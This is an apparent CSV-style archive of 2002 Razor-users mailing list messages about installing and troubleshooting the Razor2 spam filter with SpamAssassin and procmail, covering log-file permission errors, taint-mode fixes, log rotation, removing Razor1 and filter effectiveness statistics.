mozilla? > Hello, > > did any of you hear about a a razor plugin for mozilla? > a plugin that would add a ""report as spam"" button somewhere for the user > to report a mail as spam on a server? > > Arnaud > -- > Arnaud Ablard > Administrateur rseaux et systmes > Irin / Facult de Sciences > Universit de Nantes > > > > ------------------------------------------------------- > This sf.net email is sponsored by: OSDN - Tired of that same old > cell phone? Get a new here for FREE! > https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Jordan Ritter ,razor-users@example.sourceforge.net,"Tue, 3 Sep 2002 14:18:55 -0700",Re: [Razor-users] razor plugins for mozilla?,"--aT9PWwzfKXlsBJM1 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Revoking self-submitted content (unblocking something you accidentally blocked) results in permanent deletion of said content from the network. Fortunately, Razor2/SpamNet isa network of content people DON'T want [in their inbox, let alone IP rights]. Block away! --jordan On Tue, Sep 03, 2002 at 12:24:33PM -0700, Craig R.Hughes wrote: # ""Free"" is a relative concept if you actually read the EULA. No # commercial use, and anything you submit to razor becomes entirely # their intellectual property. Better not accidentally hit ""This is # spam"" on anything you want to retain IP rights to. --aT9PWwzfKXlsBJM1 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9dSc/pwQdAVEbU7oRAlZcAJ0dsOi7U1Mf/2LjCE87mRSBhe1gpQCeJ7yf P310bOJSkBt79KRJMo+oTgQ= =+IYG -----END PGP SIGNATURE----- --aT9PWwzfKXlsBJM1-- ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Jonathan Nichols"" ","""Fox"" , ","Tue, 3 Sep 2002 14:45:30 -0700",Re: [Razor-users] Razor v2 effectiveness stats - HTML table - Take 2,"Oh, I was serious. I'm awful with perl/etc. I just think the HTML graph that was created was pretty neat and I wish I could do something like that. :-) > I can't tell if you are serious or joking. I have a custom perl based spam > blocking framework that uses plug-ins to block spam. I test each message > with every plug-in and keep the stats in a mysql database, which are what > you see below. > > Fox > > > ----- Original Message ----- > From: ""Jonathan Nichols"" > To: > Sent: Tuesday, September 03, 2002 2:07 PM > Subject: Re: [Razor-users] Razor v2 effectiveness stats - HTML table - Take > 2 > > > > How do you make up graphs like that, anyway? :-) > > > > ----- Original Message ----- > > From: ""Daniel Higgins"" > > To: ""Fox"" ; > > Sent: Tuesday, September 03, 2002 10:57 AM > > Subject: Re: [Razor-users] Razor v2 effectiveness stats - HTML table - > Take > > 2 > > > > > > that's pretty impressive, have you seen any false positives yet? myself > i'm > > still at the stage of creating the corpuses. i'll report back after i get > > some testing of my own :P > > ----- Original Message ----- > > From: Fox > > To: razor-users@example.sourceforge.net > > Sent: Tuesday, September 03, 2002 12:54 PM > > Subject: Re: [Razor-users] Razor v2 effectiveness stats - HTML table - > > Take 2 > > > > > > Sorry about the html, for those of you still using elm or other non-GUI > > clients. I don't have time to post it as text. > > > > The ""Spam Count"" is the total of all spam detected by the various > filters. > > > > Jammed is a custom phrase ranking system. > > Razored is Razor v2. > > Bayesian filter is based off of Paul Graham's work (statistical > > probability), using a corpus of 4000 non-spam and 2000 spam messages. > > > > Spam Statistics > > Date Spam Count Jammed Razored Blacklisted Trollbox Bayesian > > 2002-08-27 370 145 (39.19%) 181 (48.92%) 79 (21.35%) 120 > > (32.43%) 275 (74.32%) > > 2002-08-28 397 106 (26.70%) 126 (31.74%) 163 (41.06%) 136 > > (34.26%) 320 (80.60%) > > 2002-08-29 346 154 (44.51%) 146 (42.20%) 78 (22.54%) 101 > > (29.19%) 261 (75.43%) > > 2002-08-30 366 163 (44.54%) 166 (45.36%) 65 (17.76%) 138 > > (37.70%) 272 (74.32%) > > 2002-08-31 282 211 (74.82%) 133 (47.16%) 27 ( 9.57%) 132 > > (46.81%) 256 (90.78%) > > 2002-09-01 220 127 (57.73%) 125 (56.82%) 22 (10.00%) 91 > > (41.36%) 157 (71.36%) > > 2002-09-02 166 86 (51.81%) 77 (46.39%) 22 (13.25%) 64 > > (38.55%) 123 (74.10%) > > > > > > > > > > > > > > ------------------------------------------------------- > > This sf.net email is sponsored by: OSDN - Tired of that same old > > cell phone? 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Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Bill Sobel"" ",,"Wed, 4 Sep 2002 11:34:44 -0700",[Razor-users] Windows port / bug reports?,"Hi, Newbie (to the list) question; I've been working on porting the code to run under Perl on Windows. The changes are fairly minor and can be made to interoperate with the current code. How would one best go about getting those changes merged in (better question, would there be interest in such a version and getting those changes merged in)? Bill ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Leland Woodbury ,David Rees ,"Thu, 05 Sep 2002 22:12:59 -0400",Re: [Razor-users] Problem with Razor 2.14 and Spamassassin 2.41,"This is a multi-part message in MIME format. --------------050101050502080302080407 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit I found a nice little Perl script for this purpose called rotate, which makes the process of rotating log files very simple. If there's an official source for this script, I couldn't find it. (My hosting provider, pair.com, has it installed, and that's where I found it.) However, redistribution appears to be allowed, so I've attached it. Good luck... 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Otherwise I'll have to write a script to go through each user's home >directory looking for razor-agent.log files to rotate periodically. > >Thanks, >Dave > > >------------------------------------------------------- >This sf.net email is sponsored by: OSDN - Tired of that same old >cell phone? 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Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 David Rees ,razor-users@example.sourceforge.net,"Thu, 5 Sep 2002 19:18:20 -0700",Re: [Razor-users] Problem with Razor 2.14 and Spamassassin 2.41,"On Thu, Sep 05, 2002 at 10:12:59PM -0400, Leland Woodbury wrote: > I found a nice little Perl script for this purpose called rotate, which > makes the process of rotating log files very simple. If there's an > official source for this script, I couldn't find it. (My hosting > provider, pair.com, has it installed, and that's where I found it.) > However, redistribution appears to be allowed, so I've attached it. Thanks for the script. It also appears that the standard logrotate tools included with many systems (or at least RedHat systems) will support wildcards when rotating files so something like /home/*/.razor/razor-agent.log can be specified... -Dave ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 David Rees ,razor-users@example.sourceforge.net,"Thu, 5 Sep 2002 18:13:08 -0700",Re: [Razor-users] Problem with Razor 2.14 and Spamassassin 2.41,"On Thu, Sep 05, 2002 at 08:53:16PM -0400, Theo Van Dinter wrote: > On Thu, Sep 05, 2002 at 06:16:57PM -0500, Mike Burger wrote: > > You might be better asking this on the spamassassin-talk list. The folks > > there will almost definitely have an answer for this. > > I posted a fairly lengthy complete answer to this problem and how to > get around it in SA 2.41 on the spamassassin-talk list. :) Thanks for the post there, it answered all my questions about spamassassin/razor interaction. Now for a razor question: I'm worried about having a server full of razor-agent.log files which keep on growing. Is it possible to configure razor log via SYSLOG to make it easy to rotate logs? Searching through the man pages didn't turn anything up... Otherwise I'll have to write a script to go through each user's home directory looking for razor-agent.log files to rotate periodically. Thanks, Dave ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Mike Burger ,Theo Van Dinter ,"Thu, 5 Sep 2002 20:11:53 -0500 (EST)",Re: [Razor-users] Problem with Razor 2.14 and Spamassassin 2.41,"And you were exactly the person I figured would do so. On Thu, 5 Sep 2002, Theo Van Dinter wrote: > On Thu, Sep 05, 2002 at 06:16:57PM -0500, Mike Burger wrote: > > You might be better asking this on the spamassassin-talk list. The folks > > there will almost definitely have an answer for this. > > I posted a fairly lengthy complete answer to this problem and how to > get around it in SA 2.41 on the spamassassin-talk list. :) > > ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Theo Van Dinter ,Josh Hildebrand ,"Thu, 5 Sep 2002 20:51:41 -0400",Re: [Razor-users] removing Razor1,"--iJXiJc/TAIT2rh2r Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Sep 05, 2002 at 05:11:32PM -0500, Josh Hildebrand wrote: > If that's the case, can someone please point me to something that explains > how to remove Razor1 from my system? I don't see a point in envoking it. > Especially when it appears to error out on me. >=20 > Problem while trying to load Razor1: Permission denied at > /usr/local/lib/perl5/site_perl/5.6.1/Mail/SpamAssassin/Dns.pm line 288. > debug: leaving helper-app run mode rm -rf /usr/local/lib/perl5/site_perl/5.6.1/Razor (you'll want to check that path first of course...) --=20 Randomly Generated Tagline: ""It's a chicken finger device."" - Theo, looking at entree --iJXiJc/TAIT2rh2r Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9d/wdAuOQUeWAs2MRAsXtAJ9ZJezMTsUuIw/Q3MMkZ6/QAyuYGgCgtc3/ iUYXa6+6icdddeWovza09lk= =46WZ -----END PGP SIGNATURE----- --iJXiJc/TAIT2rh2r-- ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Mike Burger ,Michael Duff ,"Thu, 5 Sep 2002 19:02:52 -0500 (EST)",Re: [Razor-users] Problem with Razor 2.14 and Spamassassin 2.41,"Shouldn't there be a w, somewhere in tehre? Simply setting group and owner to read and execute won't alleviate a write problem. On Thu, 5 Sep 2002, Michael Duff wrote: > This is due to insufficient write privileges to the ""razor-agent.log"" > file. A quick work-around is to do a ""chmod go+rx"" on that file (of > course, it's better to restrict the access as much as possible). > > In Agent.pm, when the Razor2::Logger object is created, if it doesn't > have write permission to the log file it does not succeed. Then, later > in the code when the log object is used, it fails with the ""unblessed"" > error. > > Hope this helps, > Michael Duff > > David Rees wrote: > > >This is my first time running Razor, heard a lot of good things about it so > >I thought I'd give it a shot. I also run SpamAssassin so I'd like to > >integrate the two. > > > >I'm not sure if this problem is with SpamAssassin or Razor, so I though I'd > >shoot the message here first > > > >With a freshly installed SpamAssassin 2.41 and Razor 2.14 I'm seeing these > >messages spit out from spamd: > > > >razor2 check skipped: No such file or directory Can't call method ""log"" on > >unblessed reference at /usr/lib/perl5/site_perl/5.6.0/Razor2/Client/Agent.pm > >line 211, line 75. > > > >Any ideas? razor seems to run correctly over the command line. > > > >Thanks, > >-Dave > > > > > >------------------------------------------------------- > >This sf.net email is sponsored by: OSDN - Tired of that same old > >cell phone? Get a new here for FREE! > >https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 > >_______________________________________________ > >Razor-users mailing list > >Razor-users@lists.sourceforge.net > >https://lists.sourceforge.net/lists/listinfo/razor-users > > > > > > > > > > ------------------------------------------------------- > This sf.net email is sponsored by: OSDN - Tired of that same old > cell phone? Get a new here for FREE! > https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users > ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Theo Van Dinter ,Mike Burger ,"Thu, 5 Sep 2002 20:53:16 -0400",Re: [Razor-users] Problem with Razor 2.14 and Spamassassin 2.41,"--Enx9fNJ0XV5HaWRu Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Sep 05, 2002 at 06:16:57PM -0500, Mike Burger wrote: > You might be better asking this on the spamassassin-talk list. The folks= =20 > there will almost definitely have an answer for this. I posted a fairly lengthy complete answer to this problem and how to get around it in SA 2.41 on the spamassassin-talk list. :) --=20 Randomly Generated Tagline: ""Good judgment comes from bad experience, and a lot of that comes from bad judgment."" - Zen Musings --Enx9fNJ0XV5HaWRu Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9d/x7AuOQUeWAs2MRAtAFAKDAv2ned2UEMjxqPm2PknM7USMCdgCggFr+ ONI0BQ6UcqCITZKsDjr5hRc= =Wyzr -----END PGP SIGNATURE----- --Enx9fNJ0XV5HaWRu-- ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Eugene Chiu"" ","""Theo Van Dinter"" ","Thu, 5 Sep 2002 18:18:55 -0400",RE: [Razor-users] spamassassin+razor2,"Theo, Thank you very much, it solves the problem!!!! Eugene -----Original Message----- From: razor-users-admin@example.sourceforge.net [mailto:razor-users-admin@lists.sourceforge.net]On Behalf Of Theo Van Dinter Sent: September 5, 2002 4:38 PM To: Eugene Chiu Cc: razor-users@example.sourceforge.net Subject: Re: [Razor-users] spamassassin+razor2 On Thu, Sep 05, 2002 at 04:27:08PM -0400, Eugene Chiu wrote: > razor2 check skipped: Bad file descriptor Insecure dependency in open while runn > ing setuid at /usr/local/lib/perl5/site_perl/5.6.1/Razor2/Client/Config.pm line > 410, line 1. > >From info@znion.com Thu Sep 5 11:55:15 2002 > Subject: *****SPAM***** Computer Maintenance > Folder: /home/eugene/caughtspam 8343 It looks like you're running via procmail -- what are the permissions on procmail? ""Insecure dependency"" screams ""I'm in taint mode!"", which is a typical problem when procmail is setuid/setgid (the permissions should be 755). If this is in fact the problem, an easy solution is to put ""DROPPRIVS=yes"" in the procmailrc. :) -- Randomly Generated Tagline: ""The bus had no heat, blew over in the wind and used the driver's legs as its first line of defense in an accident."" - Unknown about the VW Bus ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Michael Duff"" ",David Rees ,"Thu, 05 Sep 2002 16:37:47 -0700",Re: [Razor-users] Problem with Razor 2.14 and Spamassassin 2.41,"This is due to insufficient write privileges to the ""razor-agent.log"" file. A quick work-around is to do a ""chmod go+rx"" on that file (of course, it's better to restrict the access as much as possible). In Agent.pm, when the Razor2::Logger object is created, if it doesn't have write permission to the log file it does not succeed. Then, later in the code when the log object is used, it fails with the ""unblessed"" error. Hope this helps, Michael Duff David Rees wrote: >This is my first time running Razor, heard a lot of good things about it so >I thought I'd give it a shot. I also run SpamAssassin so I'd like to >integrate the two. > >I'm not sure if this problem is with SpamAssassin or Razor, so I though I'd >shoot the message here first > >With a freshly installed SpamAssassin 2.41 and Razor 2.14 I'm seeing these >messages spit out from spamd: > >razor2 check skipped: No such file or directory Can't call method ""log"" on >unblessed reference at /usr/lib/perl5/site_perl/5.6.0/Razor2/Client/Agent.pm >line 211, line 75. > >Any ideas? razor seems to run correctly over the command line. > >Thanks, >-Dave > > >------------------------------------------------------- >This sf.net email is sponsored by: OSDN - Tired of that same old >cell phone? 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Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Eugene Chiu"" ",,"Thu, 5 Sep 2002 16:27:08 -0400",[Razor-users] spamassassin+razor2,"This is a multi-part message in MIME format. ------=_NextPart_000_0018_01C254F9.146CF4F0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi all, I am wondering if anybody has successfully install a site-wide = spamassassin+razor2 installation. I am having so much trouble and the = following is the extract of my procmail.log. razor2 check skipped: Bad file descriptor Insecure dependency in open = while runn ing setuid at = /usr/local/lib/perl5/site_perl/5.6.1/Razor2/Client/Config.pm line 410, line 1. >>From info@znion.com Thu Sep 5 11:55:15 2002 Subject: *****SPAM***** Computer Maintenance Folder: /home/eugene/caughtspam = 8343 In razor-agent.log, I simply get the bootup message and that's it... Sep 05 11:55:15.668648 check[8478]: [ 1] [bootup] Logging initiated = LogDebugLeve l=3D14 to file:/var/log/razor-agent.log Please help. Thanks. Eugene ------=_NextPart_000_0018_01C254F9.146CF4F0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi all,   I am wondering if anybody has = successfully install=20 a site-wide spamassassin+razor2 installation. I am having so much = trouble and=20 the following is the extract of my procmail.log.   razor2 check skipped: Bad file = descriptor Insecure=20 dependency in open while running setuid at=20 /usr/local/lib/perl5/site_perl/5.6.1/Razor2/Client/Config.pm = line410,=20 line 1.From info@znion.com  Thu Sep  5 = 11:55:15=20 2002 Subject: *****SPAM***** Computer Maintenance  = Folder:=20 /home/eugene/caughtspam        &n= bsp;           &nb= sp;           &nbs= p;        =20 8343     In razor-agent.log, I simply get the = bootup message=20 and that's it...   Sep 05 11:55:15.668648 check[8478]: [ = 1] [bootup]=20 Logging initiated LogDebugLevel=3D14 to=20 file:/var/log/razor-agent.log   Please help. Thanks.   Eugene ------=_NextPart_000_0018_01C254F9.146CF4F0-- ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Theo Van Dinter ,Eugene Chiu ,"Thu, 5 Sep 2002 16:38:18 -0400",Re: [Razor-users] spamassassin+razor2,"--4Ycl1UgPPPgGZoSL Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Sep 05, 2002 at 04:27:08PM -0400, Eugene Chiu wrote: > razor2 check skipped: Bad file descriptor Insecure dependency in open whi= le runn > ing setuid at /usr/local/lib/perl5/site_perl/5.6.1/Razor2/Client/Config.p= m line > 410, line 1. > >From info@znion.com Thu Sep 5 11:55:15 2002 > Subject: *****SPAM***** Computer Maintenance > Folder: /home/eugene/caughtspam = 8343 It looks like you're running via procmail -- what are the permissions on procmail? ""Insecure dependency"" screams ""I'm in taint mode!"", which is a typical problem when procmail is setuid/setgid (the permissions should be 755). If this is in fact the problem, an easy solution is to put ""DROPPRIVS=3Dyes"" in the procmailrc. :) --=20 Randomly Generated Tagline: ""The bus had no heat, blew over in the wind and used the driver's legs as its first line of defense in an accident."" - Unknown about the VW Bus --4Ycl1UgPPPgGZoSL Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9d8C5AuOQUeWAs2MRAhaSAJ9AxnypfiK/+5I6gxO8sTauLOJ3wgCg0N5b HPwI8USX9YeAQF6GE4bzmgc= =6aCu -----END PGP SIGNATURE----- --4Ycl1UgPPPgGZoSL-- ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Josh Hildebrand ,razor-users@example.sourceforge.net,"Thu, 5 Sep 2002 17:11:32 -0500",[Razor-users] removing Razor1,"Forgive me for being a partially stupid end-user of this fantastic spam fighting software. I was looking at my spamd debug output today, and noticed that it ran through Razor2 stuff, and then it ran through dccproc, and then it tried to go through old Razor1 stuff. I'm assuming (and please correct me if I'm wrong) that Razor1 is out dated and was to be replaced entirely by Razor2. If that's the case, can someone please point me to something that explains how to remove Razor1 from my system? I don't see a point in envoking it. Especially when it appears to error out on me. debug: Razor1 is available debug: entering helper-app run mode debug: Razor Agents 1.19, protocol version 2. debug: 170803 seconds before closest server discovery debug: Agent terminated Problem while trying to load Razor1: Permission denied at /usr/local/lib/perl5/site_perl/5.6.1/Mail/SpamAssassin/Dns.pm line 288. debug: leaving helper-app run mode Thanks! -- Josh Hildebrand Email: josh@jedi.net ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Mike Burger ,David Rees ,"Thu, 5 Sep 2002 18:16:57 -0500 (EST)",Re: [Razor-users] Problem with Razor 2.14 and Spamassassin 2.41,"You might be better asking this on the spamassassin-talk list. The folks there will almost definitely have an answer for this. On Thu, 5 Sep 2002, David Rees wrote: > This is my first time running Razor, heard a lot of good things about it so > I thought I'd give it a shot. I also run SpamAssassin so I'd like to > integrate the two. > > I'm not sure if this problem is with SpamAssassin or Razor, so I though I'd > shoot the message here first > > With a freshly installed SpamAssassin 2.41 and Razor 2.14 I'm seeing these > messages spit out from spamd: > > razor2 check skipped: No such file or directory Can't call method ""log"" on > unblessed reference at /usr/lib/perl5/site_perl/5.6.0/Razor2/Client/Agent.pm > line 211, line 75. > > Any ideas? razor seems to run correctly over the command line. > > Thanks, > -Dave > > > ------------------------------------------------------- > This sf.net email is sponsored by: OSDN - Tired of that same old > cell phone? Get a new here for FREE! > https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users > ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 David Rees ,razor-users@example.sourceforge.net,"Thu, 5 Sep 2002 16:31:28 -0700",Re: [Razor-users] Problem with Razor 2.14 and Spamassassin 2.41,"On Thu, Sep 05, 2002 at 06:16:57PM -0500, Mike Burger wrote: > You might be better asking this on the spamassassin-talk list. The folks > there will almost definitely have an answer for this. Thanks, I just posted a similar message there. -Dave ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 David Rees ,razor-users@example.sourceforge.net,"Thu, 5 Sep 2002 16:08:08 -0700",[Razor-users] Problem with Razor 2.14 and Spamassassin 2.41,"This is my first time running Razor, heard a lot of good things about it so I thought I'd give it a shot. I also run SpamAssassin so I'd like to integrate the two. I'm not sure if this problem is with SpamAssassin or Razor, so I though I'd shoot the message here first With a freshly installed SpamAssassin 2.41 and Razor 2.14 I'm seeing these messages spit out from spamd: razor2 check skipped: No such file or directory Can't call method ""log"" on unblessed reference at /usr/lib/perl5/site_perl/5.6.0/Razor2/Client/Agent.pm line 211, line 75. Any ideas? razor seems to run correctly over the command line. Thanks, -Dave ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Josh Hildebrand ,razor-users@example.sourceforge.net,"Thu, 5 Sep 2002 17:31:53 -0500",Re: [Razor-users] spamassassin+razor2,"No as a answer to this FAQ, would the recommended answer be to a) chmod 755 /usr/bin/procmail or b) add DROPPRIVS=yes to /etc/procmailrc or c) all of the above I ask because I just did B, and my procmail is still: -rwsr-sr-x 1 root mail 67988 Jul 24 15:43 /usr/bin/procmail But things seem to be working, so far.. On Thu, Sep 05, 2002 at 06:18:55PM -0400, Eugene Chiu wrote: > > Theo, > > Thank you very much, it solves the problem!!!! > > Eugene > > > -----Original Message----- > From: razor-users-admin@example.sourceforge.net > [mailto:razor-users-admin@lists.sourceforge.net]On Behalf Of Theo Van > Dinter > Sent: September 5, 2002 4:38 PM > To: Eugene Chiu > Cc: razor-users@example.sourceforge.net > Subject: Re: [Razor-users] spamassassin+razor2 > > > On Thu, Sep 05, 2002 at 04:27:08PM -0400, Eugene Chiu wrote: > > razor2 check skipped: Bad file descriptor Insecure dependency in open > while runn > > ing setuid at /usr/local/lib/perl5/site_perl/5.6.1/Razor2/Client/Config.pm > line > > 410, line 1. > > >From info@znion.com Thu Sep 5 11:55:15 2002 > > Subject: *****SPAM***** Computer Maintenance > > Folder: /home/eugene/caughtspam > 8343 > > It looks like you're running via procmail -- what are the permissions > on procmail? ""Insecure dependency"" screams ""I'm in taint mode!"", which > is a typical problem when procmail is setuid/setgid (the permissions > should be 755). > > If this is in fact the problem, an easy solution is to put ""DROPPRIVS=yes"" > in the procmailrc. :) > > -- > Randomly Generated Tagline: > ""The bus had no heat, blew over in the wind and used the driver's legs > as its first line of defense in an accident."" - Unknown about the VW Bus > > > > ------------------------------------------------------- > This sf.net email is sponsored by: OSDN - Tired of that same old > cell phone? Get a new here for FREE! > https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users -- Josh Hildebrand Email: josh@jedi.net Digital Sluice Pager: http://www.digitalsluice.com/josh/pager Phone: 512-255-9797 eFax: 413-691-9191 ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Rob ,razor-users@example.sourceforge.net,"Mon, 09 Sep 2002 17:10:23 -0400",[Razor-users] log problem,"I just set up razor and spamassassin, but I keep getting this error in my mail log file razor2 check skipped: No such file or directory Can't call method ""log"" on unblessed reference at /usr/local/lib/perl5/site_perl/5.8.0/Razor2/Client/Agent.pm line 212. I have looked through the archived list and the only thing I have seen about this error is a possible permission problem on the log file. I did what it said in the archives, basically change the permission on the file but its still no go. Any other help would be appreciated, maybe I'm missing something. something I forgot to run or do. rob ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 David Rees ,razor-users@example.sourceforge.net,"Mon, 9 Sep 2002 14:44:57 -0700",Re: [Razor-users] log problem,"On Mon, Sep 09, 2002 at 05:10:23PM -0400, Rob wrote: > I just set up razor and spamassassin, but I keep getting this error in my > mail log file > > razor2 check skipped: No such file or directory Can't call method ""log"" on > unblessed reference at > /usr/local/lib/perl5/site_perl/5.8.0/Razor2/Client/Agent.pm line 212. > > I have looked through the archived list and the only thing I have seen > about this error is a possible permission problem on the log file. Yeah, the answer isn't here in this list, it's on the spamassassin-users list. I just asked it late last week. Hint: Add -H to the spamd startup flags using the latest version of spamassassin. -Dave ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Mike Burger ,David Rees ,"Mon, 9 Sep 2002 19:00:39 -0500 (EST)",Re: [Razor-users] log problem,"Or, you could do this. On Mon, 9 Sep 2002, David Rees wrote: > On Mon, Sep 09, 2002 at 05:10:23PM -0400, Rob wrote: > > I just set up razor and spamassassin, but I keep getting this error in my > > mail log file > > > > razor2 check skipped: No such file or directory Can't call method ""log"" 